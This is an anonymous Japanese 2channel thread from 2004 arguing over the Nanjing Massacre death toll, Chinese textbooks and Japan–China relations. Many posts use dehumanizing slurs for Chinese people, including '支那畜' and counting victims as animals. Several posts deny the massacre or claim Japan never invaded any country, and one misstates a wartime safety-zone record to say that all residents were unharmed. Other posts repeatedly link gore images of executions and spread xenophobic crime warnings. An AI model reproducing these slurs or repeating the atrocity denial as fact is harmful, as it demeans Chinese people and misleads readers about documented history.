板倉由明氏自身は、民間人犠牲者数を一万五千ないし一万六千、そのうち不法殺害を五千から八千と考えている。

G(さらなる番外?)とにかく無かった説。根拠不明。さらに一部の2ちゃんねらーが主張。

C〜Eの認識してる事実は大体同じ。
不可抗力による割引やハーグ規定解釈の問題。


321 :名無的発言者:04/12/08 22:02:39
板倉由明とか
秦郁彦とか
偕行社編集部とか
鈴木明とか
東中野修道とか
誰それ?
小林よしのりは知ってるけど
秦郁彦って?

結局、知識馬鹿がこの国を牛耳れない悔しさが滲んで来るだけだな。

そんなもん読まんでも中国の歪さは分かるわい

322 :317:04/12/08 22:08:18
ちなみに
>>318は俺を騙った左翼構成員ね。

こういうことをすんるんだよ左翼は。さぞかし頭がいいんだろうね。
俺は絶対にそんなことはしない。
覚悟の度合いが違いすぎる。

323 :名無的発言者:04/12/08 22:08:55
>>321
つ、つまり、南京論争の本をまるっきり読んでないってことですか・・・
これで、南京論争を語るとわ・・・
ある意味、感動しますた。

324 :名無的発言者:04/12/08 22:10:46
>>323
いやね、俺にとって南京大虐殺は30万だけっすからw


325 :名無的発言者:04/12/08 22:14:13
>>321
さすがに、それは恥ずかしいと思ったほうがいいぞ。
サヨク、ウヨク以前の問題、中国・日本以前の問題、頭が良い悪い以前の問題だろ。
覚悟とやらが本当にあるなら、本屋か図書館いって、何でもいいから、適当にみつくろって読んでみるべき。

326 :名無的発言者:04/12/08 22:16:20
>>324
だから、日本にはデンパサヨクを除いて30万人説を唱えるやつはおらんのだが。
笠原のようなサヨク知識人ですら、はっきりと中国の「30万人説は幻想に近い」といってる。
君の言うサヨクの意味が、まるで分らん。

327 :名無的発言者:04/12/08 22:17:53
そもそも、ここに30万人説の支持者っているの?

328 :317:04/12/08 22:24:31
>>325
そうかね?
誰であれ、318が俺を騙ったことは事実。
317は俺だが、318は俺ではない。
ただそれだけの話。

>>326
デンパサヨクって言うがつこの間まで現実に30万を唱えたたんじゃないのかね、現実の左翼構成員は。
作戦変えただけだろ。
少数でも虐殺は虐殺だろって言ってさ、
一般人の良心に訴えかける姑息な手段で、結局は中国の抗日政策に加担してることになるんだよ。

329 :名無的発言者:04/12/08 22:28:30
>>326
その人も知らないがサヨクだろうとなんだろうと「反日思想」に精神を病んでない人なら別に問題ない。

330 :317:04/12/08 22:30:33
>>325
失礼
頓珍漢なこと書いてしもうたね

331 :326:04/12/08 22:31:10
>デンパサヨクって言うがつこの間まで現実に30万を唱えたたんじゃないの
>かね、現実の左翼構成員は。作戦変えただけだろ。

同意だ。おもいっきり。
ホンカツあたりは、断言こそしないものの、あきらかに30万人説を煽っていた。
それが、保守陣営の研究者たちの尽力によって崩壊し、作戦を変えたって感じ。

しかし、
>>321の告白が強烈すぎて、これ以上は何も言う気なくした。
これで南京事件を語るのはどうかと思う。
勉強をさぼってることを開き直ってどうする?

あー疲れた。


332 :名無的発言者:04/12/08 22:33:20
>>326
「中国政府の主張はオカシイと思う」

イコール

「軍国主義者」

でしたよ。最近までは。
あと、
「拉致問題はウヨクのねつ造」
って言われてましたね。サヨク系新聞とかでは。

333 :名無的発言者:04/12/08 22:35:42
>>326
30万人説に疑問を挟むことが許されない環境を全国の学校に作っておいて
「デムパでした」ってか?

334 :名無的発言者:04/12/08 22:39:28
>>333
今はだいぶ違うよー。
漏れのガッコの先生は、はっきし「30万人は誇張」といってた。

けど、>>321は漏れも呆れました。

これじゃ、感情だけでものいってるを思われるよー。


335 :317:04/12/08 22:39:54
>>331
すまんね馬鹿でw

しかしね、こういうスレが何らかの意図を持って立てられたのは理解できるだろ?
小規模の虐殺はあった=南京大虐殺はあった
こういう流れを意図してるんだよ。まあ考えすぎかもしれないがね。

結局は中国が叫ぶ「30万大虐殺」が大嘘であったことをぼかす事に汲々としてるわけよ。左翼団体構成員は。
ちょっとでも同調したら思う壺だって。
そゆこと。お分かり?

336 :名無的発言者:04/12/08 22:41:18
なるほど、>>321みたいなのが、
>>320の「G(さらなる番外?)」を提唱するわけね。

>>321は、本当に恥ずかしいね(大藁

337 :名無的発言者:04/12/08 22:44:03
>>336
人の無知識をあざけるのは良いが、自分の言葉で何か言ってみろよ

338 :名無的発言者:04/12/08 22:46:49
>>335
とにかく、まぼろし派、中間派、小虐殺派、無罪派、サヨク、なんでもいいから、勉強してこい。
話しはそれからだ。
>>321には正直、あきれた。

俺は君が馬鹿だと言ってるんじゃない。
勉強を「さぼって」「さぼってることをひらきなおって」「無知なまま物を言っている」ことを批判しているんだ。

これじゃ、ハーグ規定がどうの、史料批判がこうの、と言っても君はついてこれないだろ。
これじゃ、議論そのものが成立しないってことだ。

339 :名無的発言者:04/12/08 22:48:02
>>337
素朴に、>>321を見られて、嘲られないと思うほうがどうかしてる。

340 :名無的発言者:04/12/08 22:56:26
今日、横田めぐみさんの遺骨がニセモノだと証明されたわけだけど、
このニセの遺骨は『中国の旅』といっしょだよ。プロパガンダ。
虐殺派はいいかげん目を覚ませ。

341 :名無的発言者:04/12/08 23:05:37
>>340
「虐殺派」が何を意味するかはっきりしない発言はサヨクに利用れることに…

342 :317:04/12/08 23:06:05
無識なのは俺が自分で認めてるだろ。
で、俺みたいな奴を説得させられる言説をお前らが出来ないのも確認できたわけだ。
俺は感情で書いている。感情の何が悪い?
感情を隠すことが賢いと学校で習ったか?

俺が言いたいのはこのスレッドの意図の醜さだ。
小規模でもあった=南京代虐殺はあった=中国は嘘をついていない
潜在的にこういう意識の流れを作る詐欺的な狡猾さは俺のもっとも嫌うところだ。
言いたいのはそれだけだ。

それでも無識の俺に去れと宣告するか。

343 :名無的発言者:04/12/08 23:09:35
>>341
おそらく中国に対して甘い輩は虐殺もしでかしかねない奴らって認識があるんだよ。

344 :名無的発言者:04/12/08 23:09:56
>>342
「俺は無知だ」
「感情に基づき小虐殺も認めない」

なんて言ってもね・・

345 :317:04/12/08 23:12:05
>>344

>「感情に基づき小虐殺も認めない」

誰の発言ですか?
俺ではありませんが。

346 :名無的発言者:04/12/08 23:14:43
>>345

小虐殺でも認める奴は、中国に荷担するサヨとか言ってただろ

347 :名無的発言者:04/12/08 23:16:12
俺もウヨだが、>>321はまずいと思う。
無知と感情論を開き直ってどうすんだ。
これじゃサヨクにつけこまれる。

348 :名無的発言者:04/12/08 23:18:53
>>346
つまり、>>320の分類法でいうところの
G(さらなる番外?)
か。

ろくな根拠なしに言ってることは、>>321発言で証明済み(大藁

ってことになるのよ。
まずいでしょ?


349 :名無的発言者:04/12/08 23:20:16
>>346
一応念のため。
俺は小虐殺が無かったなんて言っていませんが。

何が言いたいのかな?

350 :317:04/12/08 23:21:39
>>349は俺です

351 :名無的発言者:04/12/08 23:22:58
>>349
だったらお前は
小虐殺は認めつつ
小虐殺を主張する奴を売国サヨ
と言うのか?
無知で感情論で往生際の悪い奴か?(呆

352 :名無的発言者:04/12/08 23:24:46
>小虐殺でも認める奴は、中国に荷担するサヨとか言ってただろ

>俺は小虐殺が無かったなんて言っていませんが。

えーと、小虐殺はあったが、あったと認めるのはサヨだからよろしくない?
ってことでふか?
???????????

>>321の告白がホームランすぎて、こっちのほうがおもろいでふが。
「無知と感情のどこがわるい」的な開き直りもすぎでふがw


353 :名無的発言者:04/12/08 23:25:33
どうも勘違いしてるようだが。
小虐殺はあったんでしょ?あんたらも言うし学者も言うしね。知らんけど。

俺が言いたいのは小虐殺の否定じゃ無いの。
俺の書き方が悪かったかね。

俺の意図は小虐殺でスレ建てする左翼構成員の怪しさよ。

分かってもらえた?

354 :317:04/12/08 23:25:56
353は俺です

355 :名無的発言者:04/12/08 23:25:59
国内サヨクの蠢動については中国の責任じゃないんだよなw
煽ったり元ネタ提供したりはしてるけどw

356 :俺はウヨ(?)だが:04/12/08 23:28:13
しかし、>>321はまずいでしょ、いくらなんでも。

357 :名無的発言者:04/12/08 23:29:58
>>356
まずいもなにも知らないから…
しょうがない。

だから根拠も無く「なかった」なんて言ってると思われてたのなら弁明するよ。
言いたいことは別にあった。

358 :317:04/12/08 23:31:38
357は俺です

359 :名無的発言者:04/12/08 23:33:21
まあ、南京論争自体が、歴史論争というより、政治宣伝戦と化してるわけだが。
政治宣伝戦と割り切って、敢て「小中虐殺」の存在を強調する椰子を叩きたいということか?

ただ、こうした場合、歴史論争にこだわる椰子からは、反発あるかもなー。
あと、>>321は、さすがに弁護できない。

360 :317:04/12/08 23:36:49
>>359
弁護してないって

俺がウヨを代表してるわけでもないから心配ご無用。

あとさあ、このスレは本当に学術的な歴史論争のスレなのかい?

361 :名無的発言者:04/12/08 23:46:06
このスレにいるのはあった派もなかった派も少しはあっただろ派も
みーんな素人、一般人、右翼でも左翼でもない。

362 :名無的発言者:04/12/08 23:51:54
>>361
同意。

363 :名無的発言者:04/12/09 00:10:06
>>361
右翼でもなく左翼でもない素人ねえ。

その指摘はさあ、結局このスレが政治的スレだって発想に基づいているわけよね。
本来、素人っていうんなら、歴史学者じゃない人を指して「素人」と表現するべきじゃないかね。

このスレが学術的な歴史論争スレならね。

364 :317:04/12/09 00:23:49
363は俺ね
今日はお相手ありがとう^^おやすみ

365 :名無的発言者:04/12/09 00:24:11
懂得中文的就看吧...
老共扇動人民反日是避免你們賺太多錢


上海 南京 香港只是放給日軍吃的餌
誇大日軍的暴行 藉此激發中國人的愛國心
進而對日本發動全面性抗戰

放空城給日軍佔領
並使之輕敵
把日軍引到華中並擴大戰線
讓關東軍陷入中國戰區的泥沼

這是國民黨當時的戰略






366 :名無的発言者:04/12/09 01:43:26
中国当局の主張以外に「30万」の根拠はないわけだから、
その根拠があやしいとなったら「虐殺」それ自体の根拠も怪しい
と考えるのが普通の人(阿Qとサヨク以外の人)の発想です。

367 :名無的発言者:04/12/09 02:19:25
>>366
せめてこのスレくらい読んで勉強しろよ

368 :名無的発言者:04/12/09 08:57:56
>>366
だからこう言われるんだよ

http://academy3.2ch.net/test/read.cgi/china/1102365318/
【0,300000】ウヨの数学は30万進法

369 :名無的発言者:04/12/09 09:17:32
30万人説の人いますよ
http://www.bekkoame.ne.jp/~ymasaki/fujioka.htm

370 :名無的発言者:04/12/09 10:58:59
必死になって否定している人はなんらかの形で虐殺に関わったんじゃないかと思えてくる。

371 :名無的発言者:04/12/09 11:01:26
■「中国教科書 歴史を歪曲」米紙報道 日本叩きが国民的娯楽  
産経新聞朝刊 04/12/08
--------------------------------------------------------------------------------
 【ワシントン=古森義久】ニューヨーク・タイムズ六日付は上海発で中国の教科書につ
いて「歴史をゆがめ、政治の必要に応じて、修正されている」とする報道を掲載した。
同報道は中国では歴史自体が政治の材料にされているとして、とくに日本に関しては「日
本をたたくことが(中国の)国民的娯楽」と伝えた。
 同報道は「中国の教科書は歴史を曲げ、省く」という見出しの記事で、ニューヨーク・
タイムズ記者が上海で中国人の教育関係者多数から取材した結果だとしている。

 同報道は「中国では日本をたたくことが国民的な娯楽で、日本に対し正しい歴史を教え
ないと叱(しか)るが、中国の歴史教科書こそ近年の歴史をきわめて選別的に教え、ゆが
んだ見解を提供している」と述べ、ゆがみの実例として
(1)中国軍はチベットやベトナムに侵攻したのに自衛以外の戦争はしたことがない、と教えている
(2)第二次大戦で日本は米国ではなく中国共産党軍により敗北させられた、と教えている
(3)一九五〇年代に毛沢東主席が断行した「大躍進」の政策失敗で三千万人も餓死した事実は教えない
(4)朝鮮戦争は米国と韓国が北朝鮮を侵略したことで始まった、と教える−ことなどをあげている。

 同報道はまた上海の中国人教育関係者らの談話として「中国では歴史は政治の道具とし
て使われる」「天安門事件も騒乱分子が国家基盤を危うくした犯罪行為だとされる」「近年
の歴史になるほど、共産党への配慮からあいまいにしか教えられなくなる」という言葉を
紹介している。

372 :名無的発言者:04/12/09 11:41:05
反日工作員て、嫌中を増やすための工作してるんですよね?

373 :名無的発言者:04/12/09 12:05:33
殺さない戦争なんて無いだろ。こっちもやられてんだからがたがた騒ぐな。


374 :名無的発言者:04/12/09 12:25:21
戦争をしかけた方は殺されても文句は言えない。

375 :名無的発言者:04/12/09 13:08:22
>>374
つまり中国人は殺されても文句は言えないと?

376 :名無的発言者:04/12/09 18:15:18
>>370
必死に否定する人って、
30万を否定する人のこと?
それとも虐殺ゼロだったと言う人?

377 :名無的発言者:04/12/09 18:28:37
ttp://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185035798.jpg
ttp://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185118739.jpg
ttp://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185050356.jpg

378 :名無的発言者:04/12/09 18:34:35
数に固執するなとか虐殺は虐殺だろって言う人たちが、ちょっと前は一番その数を問題視してたわけだからねえ。
実際今でも南京で一番問題なのは数だと思うよ。

数に諸説あるのはしょうがないとしても、
つまるところ「南京大虐殺はなかった」ということでは一致してるのは何となく理解しました。
それさえ分かれば充分というか、日本人が今でも贖罪意識に苛まれたり中国にとやかく言われる筋合いが無いわけで。
それが分かっただけで十分です。

379 :名無的発言者:04/12/09 18:38:01
有史以来、
アジア諸国を侵略・虐殺してきた
シナに反省云々言う資格はないだろ、そもそもw

380 :名無的発言者:04/12/09 20:46:00
http://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185035798.jpg
http://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185118739.jpg
http://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185050356.jpg

381 :名無的発言者:04/12/09 20:50:25
 南京の人口は20万人だった。虐殺後は「移民が増えた」といって人口は22万に回復したと
言っている。東京裁判で、そのことを言ったところ「君、それは今言うべきことではない」といわれたそうな…

 虐殺は虐殺だというのもいるが、年々犠牲者の数を上乗せする中国の体質がおかしいと言うことだ。

382 :名無的発言者:04/12/09 20:54:32
世田谷一家虐殺

383 :名無的発言者:04/12/09 20:58:02
>>379
シナ人にそんなこと言っても無駄だよ。大中国とか言って侵略を誇って
るんだもの。チベット侵略もシナ人には栄誉なんでしょ。

384 :名無的発言者:04/12/09 21:03:28
右翼が日本の侵略行為を誇っているのと同じでは。

385 :名無的発言者:04/12/09 21:03:31
福岡一家虐殺 愛知一家虐殺・・・

386 :名無的発言者:04/12/09 21:07:23
なんか虐殺って言葉に縛られるのがよくないんじゃなかと?

387 :名無的発言者:04/12/09 21:15:42
ゼロなわけないだろ。
戦争なんだぞ。

ゼロ主張してるやつがいるとしたらキチガイ


388 :名無的発言者:04/12/09 21:17:12
>>384
日本国としては反省し、交戦国と講和し、植民地に謝罪、賠償している。
これは日本だけ。シナは国として過去のアジア侵略、虐殺を反省してますか?
現在もチベット、ウイグルで酷い事してますね?
右翼が誇ろうがいいじゃん。個人なんだし。
シナは国ぐるみで反省してないから。残念!!!


389 :日中間で最初に侵略をしかけたのは糞シナw:04/12/09 21:26:21
道義的な話をしたいのならば
紀元前から始まる歴代中国による侵略を全部謝罪・反省・賠償して
真の許しを頂いてから
云々しろやw

あ、弘安の役は許さないよw

弘安の役(弘安4年・1281年)
元軍は
東路軍(とうろぐん)「兵4万人・軍船900艘」と江南軍(こうなんぐん)「兵10万人・軍船3500艘」
の二手に分かれて日本に攻めてきました.
※1279年に宋は元との戦争に負け支配されていました.
ですから江南軍の兵の大部分は宋の人たちだったのです.
下の地図には書き表せませんでしたが,
江南軍は寧波(にんぽー)という中国の港から出発しています.
現在の上海の近くにあった港町です.

弘安の役とその後
http://www.tamagawa.ac.jp/sisetu/kyouken/kamakura/genkou/kouan.html

390 :名無的発言者:04/12/09 21:28:01
30万かそれともゼロか、あるいは小規模化って話なら小規模でいいんじゃないかい。別に。

でもさあ、数も問題だけども、小規模の事件と30万ではその性質が全然違うんだよ。
小規模なら一部の不心得者がしでかした、で済むが、
30万なら、日本軍全員が気が久留って鬼と化して、寝る間も惜しんで原爆なみの破壊力で殺戮しまくったわけよ。国家ぐるみでね。

で、問題にされるのは後者のほうなわけで、だからこそいつまでも中国がネチネチできるわけよ。

虐殺は虐殺って言うけどさ、性質が変わるんだよ。
数が違えばその価値は下がるんだよ。中国にとっての価値がね。

391 :名無的発言者:04/12/09 23:14:33
中国側の勘違いだろ。日本が外国を侵略したことは一度もない。

中国の論理で言えばそうなる。


392 :肯定ははこれをひていして:04/12/10 08:56:55
http://www.history.gr.jp/nanking/LSCSmythe.pdf

393 :肯定ははこれをひていして:04/12/10 08:59:56
上の資料はアメリカ人で南京大学のスミス教授が1937年から1938年に現地の大学教授として
現地で調査したもの。戦死その他合計で死者3400人と帰されている。


394 :名無的発言者:04/12/10 09:12:45
>>393
当時の資料なら第一級資料だね。
一次資料って言うんだっけか。

395 :名無的発言者:04/12/10 10:49:21
犠牲者が30万人だから大虐殺
大虐殺だから犠牲者は30万人

まずは南京大虐殺という言葉を使うのを止めましょう。

396 :名無的発言者:04/12/10 14:15:00
>>392
肯定否定以前にPDFはやめろ

397 :あげ男 ◆1c0ECLhuLI :04/12/10 14:22:13
この連中が何をしたのかは知らないが(中共の批判?)このような事は
肯定派は現在進行形でも良いんだね。 他スレからのコピペですが。
ttp://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185035798.jpg
ttp://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185118739.jpg
ttp://www.ogrish.com/archives/2004/november/OGRISH-dot-com-20041121185050356.jpg


398 :名無的発言者:04/12/10 14:30:30
>>397
それって女子供だよね。
政治犯(だと思う)がこうやって殺される国の怖さを、
媚中の連中はもう少し正面から考えたほうが良いよ。

399 :トルファン:04/12/10 14:33:56
   / ̄ ̄ ̄ ̄ ̄ ミ
  /   ,――――-ミ
 /  /  /   \ |
 |  /   ,(・) (・) |
  (6       つ  |
  |      ___  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |      /__/ /  <  日本軍は罪の無い30万人の市民を殺した
/|         /\   \____________


400 :名無的発言者:04/12/10 14:37:12
中国人です
日本軍は罪の無い30万人の市民を殺すた
中国人です

401 :名無的発言者:04/12/10 14:40:21
>>397
こりゃ虐殺でしょ!いくら何でもヒデエとしか言いようがない。

402 :名無的発言者:04/12/10 14:50:56
今日、浜村純がラジオで良いこと言った。

403 :名無的発言者:04/12/10 17:04:41
支那畜30万匹がどうかしたのか?

404 :名無的発言者:04/12/10 17:09:13
>>402
詳しく。

405 :名無的発言者:04/12/10 17:47:49
>>399死那畜はもっと多くの罪のない市民を殺している
しかも現在進行形

406 :名無的発言者:04/12/10 17:50:11
南京の真相は台湾が知ってる。そのうち自白するよ。ただタイミングが肝心だからな。
その時親中、左翼はどうするんや?自殺するか?


407 :名無的発言者:04/12/10 17:56:38
新しい宿主を探し出して、又日本叩きをやるだけ。

408 :名無的発言者:04/12/10 20:50:28
>>398
ogrish.comにはMurderer(殺人者)と書かれているが。

409 :名無的発言者:04/12/10 20:52:34
http://www.ogrish.com/archives/female_murderers_executed_in_china.html

410 :名無的発言者:04/12/10 21:09:05
>>397
現在進行中の虐殺より過去の日本を責め立てるのが楽しいからじゃないかな。

ただこの場合本人は楽しいとか自覚してないの。
悲しい映画を見て泣きたがる気持ちは分かるよね。泣きながらストレスが取れるの。
あれと似ているってか、自虐的ってのは一種の快感なんだな。末期症状。
自分は良心的な日本人だから免罪符にもなると考えるから、非常に心地良いポジションなんだ。

本当に反省してるなら、自分が個人的に謝罪すれば良いんだよ。他の日本人を巻き込むなって。
俺たち関係ないし。
とにかく、孫子の代まで贖罪意識を引き継ごうってのは病気としか思えない。

411 :名無的発言者:04/12/10 23:11:44
横田めぐみさんの骨がニセモノというやつは、右翼で歴史修正主義者、
北が拉致を認めるまえだったら、左翼はこういってただろう。
でも今回は違うわけだ。左翼諸君ですら、この事実は否定できないわけだ。
まさか科学調査は間違いだ、なんていうアホはいないだろう。いえるもん
ならいってみろって感じだが(笑)

連中がいってる強制連行だって、従軍慰安婦だって同じさ。
中国のいう南京大虐殺もいっしょだよ。731部隊も遺棄化学兵器も同様。
全部、横田めぐみさんの遺骨といっしょなんだよ。デタラメの集まり。
共産主義国家は平気でウソをつくんだ。まともに信じるやつが馬鹿なんだよ。

いいかげん左翼は反省しろ。

412 :名無的発言者:04/12/11 11:42:15
>>397
人殺しへの死刑は日本でもやっているのでは?
三ヶ月ほど前にもあったよね?

413 :あげ男 ◆1c0ECLhuLI :04/12/11 11:52:03
勿論俺はシナ畜が大嫌いだ。そんな事は分かっちゃいる。オマエを死刑にしなきや誰が死刑になるんだ
と言う位日本の死刑なんざ甘すぎる。だから恐らく何とも感じない。だが、見た所女や子供だし、
まずまともな裁判無しの処刑だろう(微罪か中共批判辺りか?)それを荒野で兵隊に脇から押さえられ
後ろから撃たれると言うのを見て少し哀れに思ったんだよ。いけないか?
(めんどくさいからコピペね)

414 :名無的発言者:04/12/11 11:52:48
五十歩百歩

415 :名無的発言者:04/12/11 12:18:36
日本が外国を侵略したことは一度もない。シナ人は頭が狂ってるようだな。

416 :415:04/12/11 12:19:44
中国は日本の領土だからな。外国じゃない。

417 :名無的発言者:04/12/11 13:38:23
>>412
人殺しへの死刑には見えないな

418 :名無的発言者:04/12/11 14:05:52
>>413
中国人を煽ってばかりと思っていたが、以外に人情家なんだ〜ふ〜ん

419 :名無的発言者:04/12/12 01:16:48
日本軍が行った最悪の行為が便衣兵を1万程度処刑したことって考えると、えらい良心的な軍隊じゃないかと思えてくる。

420 :機械:04/12/12 01:22:55
>>419
中国の指定する南京大虐殺の期間は1ヶ月。
その間に1万人も処刑出来るのだろうか?
外国人のマスコミも多数要るし、そんな数の処刑なら
すぐに知れ渡ると思うのだが。

421 :名無的発言者:04/12/14 10:37:13
南京(ナンキン)市は13日午前、67年前の南京大虐殺で犠牲となった人々を偲び、
平和を祈る式典を開催。多数の市民が出席して、鎮魂曲が流れる中、献花が行われた。
13日付で中国新聞社が伝えた。

 式典には日本の仏教界などからも100人近い人が参列。30万人とも言われる犠牲者
の魂を慰めると共に、日本が中国で引き起こした悲劇を二度と繰り返さないようにとの誓い
を新たにしていた。

(サーチナ)
 2004年12月13日
http://www.mainichi-msn.co.jp/kokusai/asia/china/news/20041213org00m030067000c.html


毎日新聞が三十万人虐殺を主張してますね。
訂正しないということは、事実だと認めたも同然でしょう。

422 :名無的発言者:04/12/14 19:34:21
天安門の魂でも鎮めればいいのにね。

まあ、ODAも全廃されるし、あとは中国が国内で何をどうしようと興味ないって言うか。
銭を引き出す道具としての価値が無くなったんなら、結構なことです。

423 :名無的発言者:04/12/14 21:08:01
南京性格診断
「あの」出来事をこんな名称で呼ぶ人は・・

南京大虐殺→最近周りの人が意見を聞いてくれない、なんてことはありませんか?ラッキーカラーは赤、ラッキー方向は左です
南京事件→なんてことない普通の日々、変化はもうすぐ。吉報を待ちましょう。ラッキー数字は777。
南京攻囲戦→細かいことが気になる性分。文化関係の本を読むのが吉。ラッキーワードは第六師団。
南京大解放→隣人とうまくいってないのでは?もう少し落ち着きましょう。ラッキーアイテムは八条旭日旗。
南京沖海戦→独善的でひとりよがりなあなた。勘違いをひとつひとつ直していきましょう。ラッキーウェーブは電波です。

424 :名無的発言者:04/12/14 23:44:43
ワロタ

425 :名無的発言者:04/12/14 23:45:55
クソワロタww

426 :名無的発言者:04/12/14 23:48:46
ドグソワロタwwwwww

427 :名無的発言者:04/12/14 23:57:41
>>424-426


428 :名無的発言者:04/12/15 10:22:56

"The Rape of Nanking"国際会議ビデオ上映
(1999年12月10日)日本語訳
http://www.bekkoame.ne.jp/~ymasaki/kahohiga5.htm


429 :名無的発言者:04/12/15 19:17:05
>>423
まあ普通に考えて、「解放」なんて言葉使うのサヨだけだから。
南京陥落提灯行列でいいじゃん。

430 :名無的発言者:04/12/15 20:40:45
「南京大虐殺がアメリカの小中学校教科書に」

アメリカ・カリフォルニア州議会は南京大虐殺を
小中学校の教科書に記載する法案を採択した。
中国系女性議員の提出によるもので、同州では
サンフランシスコを中心に「南京大虐殺史実展」が繰り返し催されていた。
その初めての具体的成果となる。

カリフォルニア州ばかりではない。「史実展」はニューヨークをはじめ
主要都市に持って回られ、その影響は中国人社会を超えて拡大する勢いだ。
中国政府「新聞弁公処」の組織的関与も噂される。
でっちあげられた反日文書の『レイプ・オブ・ナンキン』が
左翼学者によって推奨され、歴史的資料として定着しつつある。

最近、日本政府は米国にある大使館、領事館に米国留学中、
あるいは留学経験のある者を専門調査員として雇い、
こうした集会に出席していわれのない非難には反論させているが、
効果は挙がっていない。中国は、直接の日本批判が逆効果だったことを
反省してアメリカ世論の抱きこみにかかっている。

太平洋戦争中はアメリカもポパイ漫画や写真雑誌の『ライフ』を使って
精力的に反日プロパガンダをした。一緒に戦争を戦った記憶を甦らせ、
かつての敵国・日本を標的に、中米が結束して
日本を孤立化させようとの目論見だ。

431 :名無的発言者:04/12/15 21:21:53
「影響力がある」メディア、首位にフォーリン・アフェアーズ誌 [04/12/14]
http://money3.2ch.net/test/read.cgi/bizplus/1103034277/

http://www.foreignaffairsj.co.jp/themeA_china.html

アジアの将来を左右する「日本の歴史認識」  ニコラス・D・クリストフ
 
アジアの歴史的分断線は深く、特に中国や韓国の人々の反日感情は強い。
たしかに、アジア諸国が現在の日本ではなく、かつての日本を基準に判断を下している部分はあるが、
頑なに謝罪を拒む日本の姿勢にも大きな問題がある。
アジア経済危機を経て、この地域がまさに日本のリーダシップを必要としているときに、
この分断線が感情面にとどまらず、さらに政治、安全保障領域へと飛び火する恐れさえある。
悪循環を断ち切るために、日本がより誠実に謝罪を表明すれれば、
それだけで、アジアにおける一〇万の米兵力のプレゼンス以上の地域安全保障への貢献となるはずだ。
ここにアメリカの果たすべき役割がある。
アジアは、海兵隊よりも、むしろ(アジア諸国間の和解に向けた)アメリカによる忍耐強く誠実なカンセリングを必要としているのだ。
アジアの安定に不可欠な地域的信頼関係は、日本が過去と正面から向き合うようになり、
韓国と中国が未来志向になってはじめて実現する。
 
ニコラス・D・クリストフ Nicholas D. Kristof  ニューヨーク・タイムズの東京支局長。
八九年の天安門事件報道でピュリツァー賞を受賞。『新中国人』の共著者。

432 :名無的発言者:04/12/15 22:12:40
日本政府は中共の現在の侵略虐殺・人権侵害等の悪行を欧米のみならず、世界中を巻き込んで徹底的に糾弾するべきだ!!

433 :アジア友好の家:04/12/15 23:53:06
http://www.zenshin.org/f_zenshin/f_back_no/f1953.htm#a6_2
−−−−−−−−−−−−−−−−−−−−−−−−−−
石原慎太郎は゛罪不容誅″
 在日台湾人元日本兵 林歳徳さんに聞く (上)
 ゛私は南京大虐殺を見た″

第1章 揚子江に数珠つなぎの死体
石原慎太郎は、南京大虐殺はウソだ、数がウソだと言っている。
この「ウソだ」と言っている言葉自体がウソだ。
彼が言っていることはデタラメ。
なぜデタラメかというと、彼は南京大虐殺の現場も見ていないし、
調査してもいない。

私は三七年十月、十九歳で軍夫として強制徴用され、
台湾の湖口の練兵場で訓練を受けていた。
三八年一月十五日、出発前日に漢口攻略に行くとわかった。
しかし上海に上陸すると、急きょ南京に向かって歩き出した。
私が南京に着いたのは一月下旬で、日本軍が南京を陥落させた
十二月十三日からは一カ月以上たっていた。

私が現地で見た時、南京城の内側、外側、揚子江の堤防や港に
死体がいっぱい山と積んであった。それよりもっと恐ろしかったのは、
揚子江に数珠つなぎで、中国人の死体が二十四時間連続して
海に向かって流れていたことだ。

死体を処分できない。できるわけないんですよ。
全部殺した、殺し尽くした。
南京大虐殺は、三軍九個師団の日本軍の総攻撃による
完全な三光政策だった。

434 :名無的発言者:04/12/16 00:21:18
>私は南京大虐殺を見た

法螺吹きは絶滅しろ
中国内で虐殺は無かったって口走った人は既に頃されているし

435 :名無的発言者:04/12/16 00:29:07
「南京大虐殺」はなかった!意図的宣伝に騙されるな!!

市民は全員無事であったと、南京安全区国際委員長から日本軍に感謝の書状が出されています。
当時の中国の首都南京が陥落したのは昭和十二年十二月十三日ですが、十二月一日に南京市
長は、市内残留市民に対して、市内に設けられた安全区に避難するよう命じました。この安全区を
管理したのは、当時南京に残留していた米・英・独人による十五人の国際委員会でした。その委員
会の記録によりますと、全市民二十万人は全員無事であったと、ジョン・H・ラーベ国際委員長(反
日的ドイツ人)が日本軍に感謝の書状を出しているのです。

http://www.senyu-ren.jp/SEN-YU/00102.HTM

436 :アジア友好の家:04/12/16 00:30:57
>>434
台湾人は法螺吹きですか?
それでは台湾人の李登輝も法螺吹きですね。

437 :名無的発言者:04/12/16 00:45:44
あれは台湾人にしちゃずいぶんがたいがいい

438 :名無的発言者:04/12/16 00:49:25
イシハラ万歳三三三ミ〜
   川|川 愛●国|〜 プゥ〜ン            
  ‖|‖ ◎---◎|〜      
  川川‖ U  3 U ヽ〜     
  川川 童貞∴)д(∴)〜      
  川川     低学歴〜 カタカタカタ    <中華を罵倒すれば仕事が見つかるに違いないにょ!
  無職     〜 /‖ _____
 川川川川ノータリン‖  |  | ̄ ̄\ \
   /       \__|  | 2ch | ̄ ̄|
  ヒキコモリ___      |  | 専用|__|
  | \      |つ   |__|__/ /
  /     ̄ ̄  | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕
 |       | ̄


439 :名無的発言者:04/12/16 01:04:06
日本から一杯援助や技術を得てるくせに、反日ってなんだ?
ふざけるな!この間のアジアカップもホントビックリ。ホスト国ですよ・・・
品位に欠ける。偉そうにほざくなら日本を頼らずに自国力だけで経済
発展してみろ!!大国のくせに人間がちっさすぎるよ、まったく!!お前らが
日本人嫌ってる以上に日本人は中国人が大嫌いなの分かってんの?!!!

440 :名無的発言者:04/12/16 01:04:40
中国人を見たら 戸締まり用心!

今年前半の 日本国内の外人犯罪は昨年同期に比べ16%も急増して 約1万500人に上った。
件数も 31%増の 約2万4400件で過去最悪凶悪事件の 8割を占める強盗が増加】している。
犯人の国籍では中国人が 51%で最も多い

8月19日(木) 警察庁 発表

441 :名無的発言者:04/12/16 01:34:34
日本人大虐殺もやるかもしれませぬ。

442 :名無的発言者:04/12/16 02:13:01
